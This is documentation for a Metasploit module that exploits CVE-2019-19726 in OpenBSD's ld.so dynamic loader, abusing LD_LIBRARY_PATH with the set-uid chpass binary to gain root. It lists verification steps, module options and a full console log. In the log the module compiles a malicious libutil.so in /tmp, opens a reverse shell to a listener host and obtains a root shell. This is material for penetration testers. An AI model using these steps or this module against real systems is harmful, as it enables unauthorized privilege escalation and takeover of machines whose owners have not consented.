metasploit-gs/documentation/modules/exploit/openbsd/local/dynamic_loader_chpass_privesc.md

Description

This module exploits a vulnerability in the OpenBSD ld.so dynamic loader (CVE-2019-19726).

The _dl_getenv() function fails to reset the LD_LIBRARY_PATH environment variable when set with approximately ARG_MAX colons.

This can be abused to load libutil.so from an untrusted path, using LD_LIBRARY_PATH in combination with the chpass set-uid executable, resulting in privileged code execution.

Vulnerable Application

This module has been tested successfully on:

• OpenBSD 6.1 (amd64)
• OpenBSD 6.6 (amd64)

Verification Steps

1. Start msfconsole
2. Get a session
3. use exploit/openbsd/local/dynamic_loader_chpass_privesc
4. set SESSION <SESSION>
5. check
6. run
7. You should get a new root session

Options

SESSION

Which session to use, which can be viewed with sessions

CHPASS_PATH

Path to chpass (default: /usr/bin/chpass)

Scenarios

OpenBSD 6.1 GENERIC#19 amd64

msf5 > use exploit/openbsd/local/dynamic_loader_chpass_privesc 
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set verbose true
verbose => true
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set session 1
session => 1
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > check

[+] Patch 013_ldso is not present
[+] cc is installed
[*] The service is running, but could not be validated.
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > run

[*] Started reverse TCP double handler on 172.16.191.165:4444 
[+] Patch 013_ldso is not present
[+] cc is installed
[+] Found libutil.so name: libutil.so.12.1
[*] Writing '/tmp/.86MXG.c' (316 bytes) ...
[*] Max line length is 4096
[*] Writing 316 bytes in 1 chunks of 1145 bytes (octal-encoded), using printf
[*] Compiling /tmp/libutil.so.12.1 ...
[*] Writing '/tmp/.DRbqHJ.c' (602 bytes) ...
[*] Max line length is 4096
[*] Writing 602 bytes in 1 chunks of 2170 bytes (octal-encoded), using printf
[*] Compiling /tmp/.DRbqHJ ...
[*] Writing '/tmp/.2bowjnW1' (139 bytes) ...
[*] Max line length is 4096
[*] Writing 139 bytes in 1 chunks of 470 bytes (octal-encoded), using printf
[*] Launching exploit...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Y6H5kRiGDyQjzQKI;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Y6H5kRiGDyQjzQKI\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.205:43611) at 2019-12-13 04:03:22 -0500
[+] Deleted /tmp/.86MXG.c
[+] Deleted /tmp/libutil.so.12.1
[+] Deleted /tmp/.DRbqHJ.c
[+] Deleted /tmp/.DRbqHJ
[+] Deleted /tmp/.2bowjnW1

id
uid=0(root) gid=0(wheel) groups=1001(test)
uname -a
OpenBSD openbsd-6-1.localdomain 6.1 GENERIC#19 amd64